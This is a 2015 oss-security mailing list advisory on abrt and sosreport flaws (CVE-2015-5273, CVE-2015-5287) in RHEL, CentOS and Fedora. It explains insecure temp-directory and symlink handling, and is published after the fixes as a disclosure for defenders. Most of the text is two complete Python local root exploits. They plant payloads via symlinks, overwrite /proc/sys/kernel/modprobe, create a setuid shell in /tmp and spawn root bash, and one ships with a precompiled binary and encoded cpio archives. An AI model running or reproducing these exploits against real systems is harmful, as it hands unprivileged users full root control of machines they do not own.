Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 1 Dec 2015 10:11:28 +0900
From: Philip Pettersson <philip.pettersson@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE-2015-5273 + CVE-2015-5287, abrt local root in Centos/Fedora/RHEL

Hi,

Here's a slightly delayed advisory about CVE-2015-5273 and CVE-2015-5287 that
I reported to Redhat in September. The patches were released on 2015-11-23.

These are issues concerning the abrt crash handling ecosystem in
Redhat-based distros.

I've attached two local root exploits for CentOS 7.1/Fedora 22 and RHEL 7.0/7.1.

Overview
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

A) CVE-2015-5287 (?), Insecure temporary directory and symlink usage
in sosreport
B) CVE-2015-5273, Insecure temporary directory usage in
abrt-action-install-debuginfo-to-abrt-cache
C) CVE-2015-5287, Insecure symlink handling in abrt-hook-ccpp

A can be used to elevate privileges from an unprivileged user to root
on a default installation of RHEL 7/7.1. RHEL 6 and lower do not seem
vulnerable by default.

B can be used to create symlinks and files at arbitrary locations as
the abrt user. This only works on non-redhat systems such as CentOS 7 or
RHEL installations that do not use the official RHN yum repositories.

C can be used to elevate privileges from the abrt user to root.

B combined with C can be used to gain root from an unprivileged user.


Insecure temporary directory and symlink usage in sosreport, CVE-2015-5287 (?)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

Redhat did not give a separate CVE for this issue so it falls under
CVE-2015-5287
I suppose.

When a process receives SIGSEGV, abrt will save diagnostic information in
/var/tmp/abrt/ccpp-*$pid on RHEL 7. Unless /etc/abrt/abrt.conf contains
the line "PrivateReports = yes", directories created here by abrt will be
chown()'d to the user who owned the crashing process. After saving some
initial information it will call post-create scripts, one of the default
ones on RHEL is /usr/sbin/sosreport.

/usr/sbin/sosreport will be invoked as root and work with a temporary
directory named /var/tmp/abrt/ccpp-*$pid/sosreport-$hostname-$date.
It will save a number of files collected from the system in this directory
and then archive it. Since the directory is owned by root we cannot
modify files inside it while sosreport is running, but we do own the parent
directory and can simply rename the temporary directory and make a new one.

sosreport will then write files into our crafted temp directory and will
follow any symlinks we make inside. By also renaming some of the temporary
files that sosreport works with we can exploit sosreport to write a file
with crafted data at an arbitrary location as root.

See sosreport-rhel7.py for an exploit demonstrating this vulnerability.

I confirmed that RHEL 7 and 7.1 are vulnerable by default. RHEL 6 systems
will be vulnerable if the system administrator has commented out the line
"PrivateReports = yes" or set it to "no" in abrt.conf


Insecure temporary directory usage in
abrt-action-install-debuginfo-to-abrt-cache, CVE-2015-5273
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

abrt-action-install-debuginfo-to-abrt-cache is a wrapper for
abrt-action-install-debuginfo
with the setuid bit for userid abrt. By default it creates a temporary
directory in
/var/tmp/abrt-tmp-debuginfo-RANDOM_SUFFIX and downloads debug rpm
files to this location
before extracting them to /var/cache/abrt-di. The random suffix is not
quite random but in fact
highly predictable, and we can create this directory before executing
the suid wrapper.

By controlling the "unpacked.cpio" file we can trick
abrt-action-install-debuginfo into extracting
a cpio file that we control. By extracting two carefully created cpio
archives we can leverage
this to create files or symlinks anywhere on the file system as the abrt user.


Insecure symlink handling in abrt-hook-ccpp, CVE-2015-5287
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

If a program starting with the name "abrt" crashes, abrt-hook-ccpp
will write the coredump to
/var/tmp/abrt/$filename-coredump or /var/spool/abrt/$filename-coredump.
>From abrt-hook-ccpp.c:

    if (last_slash && strncmp(++last_slash, "abrt", 4) == 0)
    {
        /* If abrtd/abrt-foo crashes, we don't want to create a _directory_,
         * since that can make new copy of abrtd to process it,
         * and maybe crash again...
         * Unlike dirs, mere files are ignored by abrtd.
         */
        if (snprintf(path, sizeof(path), "%s/%s-coredump",
g_settings_dump_location, last_slash) >= sizeof(path))
            error_msg_and_die("Error saving '%s': truncated long file
path", path);

        int abrt_core_fd = xopen3(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);

The call to xopen3() does not include the flag O_NOFOLLOW and is
therefore vulnerable to a symlink
attack. We can use the following steps to exploit this:

1. Create a symlink to /proc/sys/kernel/modprobe from
/var/{spool,tmp}/abrt/abrt-test-coredump
    * Note that we can use the previous vulnerability to achieve this
since the abrt root
      directory can be written to as the abrt user.
2. Execute a binary at /tmp/abrt-test and send it SIGSEGV
3. abrt-hook-ccpp will write the memory contents of the crashed
process to /proc/sys/kernel/modprobe

See abrt-centos-fedora.py for an example exploit for this.

This bug is also exploitable on RHEL installations if the system is
configured to use non-RHN yum
repositories. This is because yum is normally not usable by non-root
users if the only configured
repositories are RHN.

References
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
https://access.redhat.com/security/cve/CVE-2015-5273
https://access.redhat.com/security/cve/CVE-2015-5287

Credits
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
Philip Pettersson

#!/usr/bin/python
# CVE-2015-5287 (?)
# abrt/sosreport RHEL 7.0/7.1 local root
# rebel 09/2015

# [user@...alhost ~]$ python sosreport-rhel7.py
# crashing pid 19143
# waiting for dump directory
# dump directory:  /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
# waiting for sosreport directory
# sosreport:  sosreport-localhost.localdomain-20151130194114
# waiting for tmpfiles
# tmpfiles:  ['tmpurfpyY', 'tmpYnCfnQ']
# moving directory
# moving tmpfiles
# tmpurfpyY -> tmpurfpyY.old
# tmpYnCfnQ -> tmpYnCfnQ.old
# waiting for sosreport to finish (can take several minutes)........................................done
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# bash-4.2# cat /etc/redhat-release 
# Red Hat Enterprise Linux Server release 7.1 (Maipo)

import os,sys,glob,time,sys,socket

payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"

pid = os.fork()

if pid == 0:
	os.execl("/usr/bin/sleep","sleep","100")

time.sleep(0.5)

print "crashing pid %d" % pid

os.kill(pid,11)

print "waiting for dump directory"

def waitpath(p):
	while 1:
		r = glob.glob(p)
		if len(r) > 0:
			return r
		time.sleep(0.05)	

dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]

print "dump directory: ", dumpdir

os.chdir(dumpdir)

print "waiting for sosreport directory"

sosreport = waitpath("sosreport-*")[0]

print "sosreport: ", sosreport

print "waiting for tmpfiles"
tmpfiles = waitpath("tmp*")

print "tmpfiles: ", tmpfiles

print "moving directory"

os.rename(sosreport, sosreport + ".old")
os.mkdir(sosreport)
os.chmod(sosreport,0777)

os.mkdir(sosreport + "/sos_logs")
os.chmod(sosreport + "/sos_logs",0777)

os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")

print "moving tmpfiles"

for x in tmpfiles:
	print "%s -> %s" % (x,x + ".old")
	os.rename(x, x + ".old")
	open(x, "w+").write("/tmp/hax.sh\n")
	os.chmod(x,0666)


os.chdir("/")

sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")


def trigger():
	open("/tmp/hax.sh","w+").write(payload)
	os.chmod("/tmp/hax.sh",0755)
	try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
	except: pass
	time.sleep(0.5)
	try:
		os.stat("/tmp/sh")
	except:
		print "could not create suid"
		sys.exit(-1)
	print "success"
	os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
	sys.exit(-1)

for x in xrange(0,60*10):
	if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
		print "done"
		trigger()
	time.sleep(1)
	sys.stderr.write(".")

print "timed out"

#!/usr/bin/python
# CVE-2015-5273 + CVE-2015-5287
# CENTOS 7.1/Fedora22 local root (probably works on SL and older versions too)
# abrt-hook-ccpp insecure open() usage + abrt-action-install-debuginfo insecure temp directory usage
# rebel 09/2015
# ----------------------------------------

# [user@...alhost ~]$ id
# uid=1000(user) gid=1000(user) groups=1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# [user@...alhost ~]$ cat /etc/redhat-release 
# CentOS Linux release 7.1.1503 (Core) 
# [user@...alhost ~]$ python abrt-centos-fedora.py
# -- lots of boring output, might take a while on a slow connection --
# /var/spool/abrt/abrt-hax-coredump created
# executing crashing process..
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


import time,os,datetime,sys,resource,socket


fedora = "Fedora" in open("/etc/redhat-release").read()

# mkdir dir1
# ln -s /var/spool/abrt dir1/hax
# mkdir dir2
# mkdir dir2/hax
# ln -s /proc/sys/kernel/modprobe dir2/hax/abrt-hax-coredump
# cd dir1
# find . -depth -print | cpio -o > ../cpio1
# cd ../dir2
# find . -depth -print | cpio -o > ../cpio2

cpio1 = 'x\x9c;^\xc8\xcc\xa1\xb0\xef\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc\xc8\x02\xa4\xf9\x192\x12+\x18\xf4\xcb\x12\x8b\xf4\x8b\x0b\xf2\xf3s\xf4\x13\x93\x8aJ\x18\x8e\x03U\xb3\xef\xfb\xeb\x08R\xcd\x04U\r\xa2\x19\x18\xf4\x80r\x0cp\xc0\x08\xa5\xb9\xc1dH\x90\xa3\xa7\x8fk\x90\xa2\xa2"\xc3(\x18d\x00\x00\x16\xb9\x1bA'.decode("zip")
cpio2 = 'x\x9c;^\xc8\xcc\x917\xfb\xff\xc2\x17\xcc/\x98\x19\x19\x18\x18>\x86\xde\xdc(\x06\xa4%\x192\x12+\xf4\x13\x93\x8aJt\x81\x0c\xdd\xe4\xfc\xa2\xd4\x94\xd2\xdc\x02\x06\xfd\x82\xa2\xfcd\xfd\xe2\xcab\xfd\xec\xd4\xa2\xbc\xd4\x1c\xfd\xdc\xfc\x14\xa0PR*\xc3q\xa0I\x19\xb3\xff:\x82Lb\x82\x9a\xc4\xc2\x00\x02@...3\xc0\xb2+\xef@...99\xa1\xb2L`Y=\xa0\x1c\x03\x1c0Bin0\x19\x12\xe4\xe8\xe9\xe3\x1a\xa4\xa8\xa8\xc80\nh\x02\x00\x01\x980\x88'.decode("zip")

if fedora:
	cpio1 = cpio1.replace("/var/spool/abrt","/var/tmp///abrt")

payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"


# we use a 32 bit binary because [vsyscall] will be at the end of the coredump on 64 bit binaries
# and we can't control the contents of that region. on 32 bit binaries [stack] is at the end

# the crashing binary will just fill the stack with /tmp/hax.sh which subsequently gets written
# to /proc/sys/kernel/modprobe by /usr/libexec/abrt-hook-ccpp

elf = 'x\x9c\xabw\xf5qcddd\x80\x01&\x06f\x06\x10/\xa4\x81\x85\xc3\x84\x01\x01L\x18\x14\x18`\xaa\xe0\xaa\x81j@...x90\t\xc2\xac 1\x01\x06\x06\x97F\x1b\x15\xfd\x92\xdc\x82\xd2o\x8dg\xfe\xf3\x03\xf9\xbb\xbe\x00\xb5\xec\x14\x01\xca\xee\xee\x07\xaa\xd7<\xd3\xc5\xdc\xc1\xa2\xe2\xe2\xfc\xe8{\xf3\x1b\x11\xaf\xe6_\x0c\xa5\x8fv8\x02\xc1\xff\x07\xfaP\x00\xd4\xad\x9f\x91X\xa1W\x9c\xc1\xc5\x00\x00-f"X'.decode("zip")

# most people don't have nasm installed so i preassembled it
# if you're not brave enough to run the preassembled file, here's the code :)

"""
; abrt-hax.asm
; nasm -f bin -o abrt-hax abrt-hax.asm
BITS 32
                org     0x08048000
ehdr:                                                 ; Elf32_Ehdr
                db      0x7F, "ELF", 1, 1, 1, 0         ;   e_ident
        times 8 db      0
                dw      2                               ;   e_type
                dw      3                               ;   e_machine
                dd      1                               ;   e_version
                dd      _start                          ;   e_entry
                dd      phdr - $$                       ;   e_phoff
                dd      0                               ;   e_shoff
                dd      0                               ;   e_flags
                dw      ehdrsize                        ;   e_ehsize
                dw      phdrsize                        ;   e_phentsize
                dw      1                               ;   e_phnum
                dw      0                               ;   e_shentsize
                dw      0                               ;   e_shnum
                dw      0                               ;   e_shstrndx
  ehdrsize      equ     $ - ehdr
  phdr:                                                 ; Elf32_Phdr
                dd      1                               ;   p_type
                dd      0                               ;   p_offset
                dd      $$                              ;   p_vaddr
                dd      $$                              ;   p_paddr
                dd      filesize                        ;   p_filesz
                dd      filesize                        ;   p_memsz
                dd      5                               ;   p_flags
                dd      0x1000                          ;   p_align
  phdrsize      equ     $ - phdr

_start:
inc esp
cmp dword [esp],0x706d742f
jne l
or esp,0xfff
inc esp
mov edx,500
l3:
mov ecx,msglen
mov ebx,message
sub esp,ecx
l2:
mov al,[ebx]
mov [esp],al
inc esp
inc ebx
loop l2
sub esp,msglen
dec edx
cmp edx,0
jne l3
mov eax,0x41414141
jmp eax
message         db      '////////tmp/hax.sh',0x0a,0
msglen          equ     $-message
"""



build_id = os.popen("eu-readelf -n /usr/bin/hostname").readlines()[-1].split()[-1]

os.chdir("/tmp")


open("build_ids","w+").write(build_id + "\n")

print build_id


def child():
	timestamp = int(time.time())

	for i in xrange(0,3):
		try:
			t = datetime.datetime.fromtimestamp(timestamp+i)
			d = "/var/tmp/abrt-tmp-debuginfo-%s.%u" % (t.strftime("%Y-%m-%d-%H:%M:%S"), os.getpid())
			os.mkdir(d)
			os.chmod(d,0777)
			os.symlink("/var/tmp/haxfifo",d+"/unpacked.cpio")
			print "created %s" % d
		except: pass

	os.execl("/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache","abrt-action-install-debuginfo-to-abrt-cache","-y")

try:
	os.mkfifo("/var/tmp/haxfifo")
	os.chmod("/var/tmp/haxfifo",0666)
except:
	pass

def fifo(a):
	print "reading from fifo.."
	open("/var/tmp/haxfifo").read()
	print "done"

	print "writing to fifo.."
	open("/var/tmp/haxfifo","w+").write(a)
	print "done"

if os.fork() == 0: child()

print "first cpio..."
fifo(cpio1)

os.wait()
time.sleep(1)

if os.fork() == 0: child()
print "second cpio..."
fifo(cpio2)

os.wait()
time.sleep(1)

if fedora:
	sym = "/var/tmp/abrt/abrt-hax-coredump"
else:
	sym = "/var/spool/abrt/abrt-hax-coredump"

try:
	os.lstat(sym)
except:
	print "could not create symlink"
	sys.exit(-1)

print "%s created" % sym

open("/tmp/abrt-hax","w+").write(elf)
os.chmod("/tmp/abrt-hax",0755)

if os.fork() == 0:
	resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,))
	print "executing crashing process.."
	os.execle("/tmp/abrt-hax","",{})

os.wait()
time.sleep(1)	

if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read():
	print "could not modify /proc/sys/kernel/modprobe"
	sys.exit(-1)

open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)

try:
	socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except:
	pass

time.sleep(0.5)

try:
	os.stat("/tmp/sh")
except:
	print "could not create suid"
	sys.exit(-1)

print "success"

os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ